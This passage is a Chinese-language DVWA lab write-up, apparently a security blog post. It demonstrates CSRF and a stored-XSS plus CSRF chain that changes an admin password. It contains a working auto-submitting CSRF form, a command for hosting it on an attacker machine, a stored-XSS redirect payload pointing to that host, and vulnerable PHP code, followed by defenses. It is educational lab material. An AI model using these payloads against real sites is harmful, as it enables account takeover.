目录如/var/www/html/或任意目录然后启动 HTTP 服务python3 -m http.server 804. 诱使目标访问恶意链接管理员已登录 DVWA被诱导访问http://攻击机IP/hacker.html5. 自动执行攻击浏览器加载hacker.html后页面内的 JavaScript 会立即自动提交表单。由于浏览器会自动附上 DVWA 的 CookiePHPSESSID服务器认为请求来自合法管理员。密码被修改为123456页面显示“Password Changed”。四、攻击结果验证再次尝试使用原密码登录 DVWA失败。使用新密码123456成功登录证明密码已被篡改。五、漏洞代码分析DVWA Lowif (isset($_GET[Change])) { $pass_new $_GET[password_new]; $pass_conf $_GET[password_conf]; if ($pass_new $pass_conf) { $sql UPDATE users SET password MD5($pass_new) WHERE user admin; mysqli_query($GLOBALS[___mysqli_ston], $sql); echo prePassword Changed/pre; } }无任何 CSRF 防护措施无 Token、无 Referer 检查、无验证码使用 GET 方法更易被利用六、防御方案对应 Medium/High/Impossible 级别级别防御措施Medium检查HTTP_REFERER要求 Referer 必须包含服务器域名可被绕过。High引入CSRF Token每次修改密码需携带随机 Token。Impossible结合 Token 用户当前密码验证需输入旧密码彻底防御 CSRF。七、总结本次实战完整展示了 CSRF 漏洞的利用过程识别漏洞目标功能使用 GET 请求且无 Token。构造 PoC使用 Burp Suite 生成自动提交表单。社会工程学诱使管理员点击恶意链接。成功篡改管理员密码被修改造成账号失陷。核心教训任何涉及状态变更的操作修改密码、转账、发帖等都必须实施 CSRF 防护如 Token、SameSite Cookie、二次验证等。CSRF XSS 组合攻击DVWA 低级别一、实验环境靶场DVWADamn Vulnerable Web Application安全级别Low涉及漏洞存储型 XSSStored XSS—— 留言板模块CSRFCross-Site Request Forgery—— 修改密码模块攻击目标通过存储型 XSS 植入恶意脚本将已登录管理员强制跳转到攻击者构造的 CSRF 页面自动修改管理员密码。二、漏洞原理分析1. 存储型 XSS 漏洞DVWA Low留言板的Name或Message字段未对用户输入进行过滤或转义。攻击者可以提交包含 JavaScript 代码的内容该内容被存储到数据库。当其他用户如管理员访问留言板页面时恶意脚本会在其浏览器中执行。2. CSRF 漏洞DVWA Low修改密码功能使用 GET 请求且无任何 CSRF 防护无 Token、无 Referer 校验。请求示例http://靶场IP/vulnerabilities/csrf/?password_new123456password_conf123456ChangeChange只要用户携带有效的会话 Cookie 访问该 URL密码就会被修改。3. 组合攻击链XSS 作为“搬运工”CSRF 作为“最终 payload”利用 XSS 将受害者从留言板页面强制重定向到攻击者预先构造的 CSRF 恶意页面从而自动完成密码篡改。三、详细攻击步骤步骤 1构造 CSRF 攻击页面PoC在攻击机Kali上使用 Burp Suite 生成 CSRF PoC 代码。登录 DVWA进入 CSRF 模块/vulnerabilities/csrf/。修改密码时抓包得到 GET 请求。右键 →Engagement tools→Generate CSRF PoC。修改生成的 HTML 表单确保参数名正确password_new、password_conf、Change。将 PoC 保存为hacker.html内容如下示例!— CSRF PoC — body form actionhttp://192.168.xxx.xxx/vulnerabilities/csrf/ methodGET input typehidden namepassword_new value111111 / input typehidden namepassword_conf value111111 / input typehidden nameChange valueChange / /form script document.forms[0].submit(); /script /body /html步骤 2启动 HTTP 服务在攻击机上启动一个简单的 Web 服务器用于托管hacker.htmlpython3 -m http.server 80此时攻击机 IP 为192.168.xxx.xxx恶意页面可通过http://攻击机IP/hacker.html访问。步骤 3注入 XSS 载荷存储型登录 DVWA低级别进入XSS (Stored)模块留言板。在Name或Message字段中注入恶意脚本目的是让访问留言板的用户自动跳转到 CSRF 页面。常见载荷scriptlocation.hrefhttp://攻击机IP/hacker.html;/script由于 DVWA Low 级别对 Name 字段有长度限制maxlength10可以通过修改前端 HTML 属性maxlength100或直接使用 Message 字段长度更大来注入完整脚本。提交后该脚本被存储到数据库。步骤 4诱导管理员触发管理员已登录 DVWA正常访问留言板页面/vulnerabilities/xss_s/。页面加载时存储的恶意脚本被执行浏览器自动跳转到http://攻击机IP/hacker.html。hacker.html加载后自动提交表单向 DVWA 发送修改密码的 GET 请求携带管理员的 Cookie。步骤 5验证攻击结果管理员密码被修改为111111。再次访问 DVWA 登录页面使用原密码失败使用新密码111111成功登录。靶场页面显示Password Changed。四、攻击流程图[攻击者] ├─ ① 构造 CSRF PoC (hacker.html) 并启动 HTTP 服务 └─ ② 在留言板注入 XSS 载荷 scriptlocation.hrefhttp://攻击机/hacker.html/script [管理员已登录] ├─ ③ 访问留言板页面 ├─ ④ 触发 XSS被重定向到攻击者服务器 └─ ⑤ 自动提交 CSRF 表单修改密码为 111111五、防御方案漏洞类型防御措施存储型 XSS1. 对用户输入进行 HTML 实体编码如htmlspecialchars。 2. 使用内容安全策略CSP限制脚本执行。 3. 对富文本内容使用安全过滤库如 HTMLPurifier。CSRF1. 使用 CSRF Token每个用户会话绑定随机 Token。 2. 关键操作改为 POST 请求并验证 Referer/Origin。 3. 设置 Cookie 的SameSiteLax或Strict属性。组合漏洞同时修复 XSS 和 CSRF 两类漏洞缺一不可。XSS 可被用作 CSRF 的“跳板”必须切断攻击链条的每一环节。六、总结本次实战展示了XSS 与 CSRF 组合攻击的典型利用方式存储型 XSS负责“传播”和“跳转”CSRF负责“执行恶意操作”两条漏洞链串联使得一个低危漏洞XSS升级为中高危账户劫持。这提醒我们在安全防御中任何一个孤立的漏洞都可能被组合利用产生严重的连锁反应。修复漏洞时应考虑整体安全架构而非单一补丁。
的演进与通信机制)
